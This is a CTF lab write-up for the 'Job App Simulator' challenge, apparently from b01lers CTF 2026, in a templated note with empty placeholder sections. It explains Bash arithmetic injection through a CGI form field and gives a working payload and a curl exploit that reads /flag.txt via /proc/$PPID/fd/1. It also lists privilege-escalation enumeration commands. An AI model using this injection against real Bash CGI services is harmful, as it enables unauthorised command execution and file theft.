Job App Simulator
Job App Simulator
Platform: B01Lersc | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: associative_array_subscript_injection, bash_arithmetic_injection, proc_fd_stdout_exfiltration
Summary
Task: an Apache CGI Bash application parses a form and checks graduation_year with [[ ... -lt 2026 ]], causing attacker input to be evaluated as arithmetic. Solution: inject an array subscript with command substitution, print /flag.txt through /proc/$PPID/fd/1, and leave the expression as 2026+a[0] so validation succeeds.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
b01lersc| ID:20260418_b01lersc_job_app_simulator - Tags: command_injection, apache, bash, cgi, arithmetic_expansion, form_urlencoded
- Indicators: Bash CGI script validates user input with [[ value -lt number ]] instead of strict numeric parsing, Attacker-controlled field is later treated as a Bash arithmetic expression, Injected payload can use array subscripts like a[$(... )0] inside arithmetic context, Need exfiltration that bypasses command substitution output capture, Apache CGI response is the parent shell stdout, reachable through /proc/$PPID/fd/1
- Source:
20260418_b01lersc_job_app_simulator.md
Foothold
Vulnerability / Misconfiguration
- Associative_array_subscript_injection
- Bash_arithmetic_injection
- Proc_fd_stdout_exfiltration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- associative_array_subscript_injection
- bash_arithmetic_injection
- proc_fd_stdout_exfiltration
- Tags: command_injection, apache, bash, cgi, arithmetic_expansion, form_urlencoded
Original Writeup
<details><summary>Click to expand original content</summary>Job App Simulator — b01lers CTF 2026
Description
No official organizer description was included with the provided challenge files.
We are given an Apache CGI Bash application that accepts an application/x-www-form-urlencoded job application form. The goal is to turn the graduation_year validation into code execution and recover the real flag from /flag.txt.
Analysis
The important part of application.sh is the form parsing and the graduation year check:
declare -A form_data
while IFS='=' read -r -d '&' key value && [[ -n "$key" ]]; do
form_data["$(urldecode "$key")"]="$(urldecode "$value")"
done <<<"$request_body&"
if [[ "${form_data[graduation_year]}" -lt 2026 ]]; then
echo "Invalid graduation year"
return
fi
At first glance this looks like a simple numeric comparison, but in Bash the operands of [[ x -lt y ]] are evaluated as arithmetic expressions. That means attacker-controlled input is not treated as a plain string here.
So if we control graduation_year, we can supply an arithmetic expression instead of a normal year. Bash arithmetic also understands array syntax such as a[0], and array subscripts can contain command substitution. This gives a payload shape like:
2026+a[$(command)0]
If $(command) produces no captured stdout, the expression becomes:
2026+a[0]
In arithmetic context an unset array element evaluates to 0, so the whole expression becomes 2026, which is not less than 2026. The validation therefore passes.
Why /proc/$PPID/fd/1 works
There is one catch: output written to normal stdout inside $(...) is consumed by the command substitution itself and inserted back into the arithmetic expression, which would corrupt it.
The fix is to write directly to the parent shell's file descriptor 1 instead:
/proc/$PPID/fd/1
Inside the injected sh -c, $PPID is the PID of the CGI Bash process running application.sh. Its file descriptor 1 is the CGI response stream, i.e. the HTTP body Apache sends back to us. Writing to /proc/$PPID/fd/1 therefore bypasses command substitution capture and prints data straight into the web response.
That is why this works cleanly:
cat /flag.txt >/proc/$PPID/fd/1sends the flag into the HTTP response- the command substitution itself stays empty
- the arithmetic expression collapses to
2026+a[0]
The START and END markers make the flag easy to locate inside the surrounding HTML.
Solution
Use a valid POST request with all required fields present and inject the working payload into graduation_year:
graduation_year=2026+a[$(sh -c 'printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1')0]
When Bash evaluates the comparison, the command substitution executes, the flag is written directly into the parent CGI stdout, and the remaining arithmetic expression still passes the check.
Final curl exploit
#!/usr/bin/env bash URL='http://TARGET/cgi-bin/application.sh' curl -s "$URL" \ --data-urlencode 'first_name=A' \ --data-urlencode 'last_name=B' \ --data-urlencode 'email=a@b.cd' \ --data-urlencode 'phone=1234567890' \ --data-urlencode 'resume=hello' \ --data-urlencode 'school=test' \ --data-urlencode 'degree=test' \ --data-urlencode 'graduation_year=2026+a[$(sh -c '\''printf START >/proc/$PPID/fd/1; cat /flag.txt >/proc/$PPID/fd/1; printf END >/proc/$PPID/fd/1'\'')0]' \ --data-urlencode 'q1=on' \ --data-urlencode 'q2=on' \ --data-urlencode 'q3=on' \ --data-urlencode 'q4=on' \ --data-urlencode 'q5=on'
The response contains the markers and the flag between them.
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR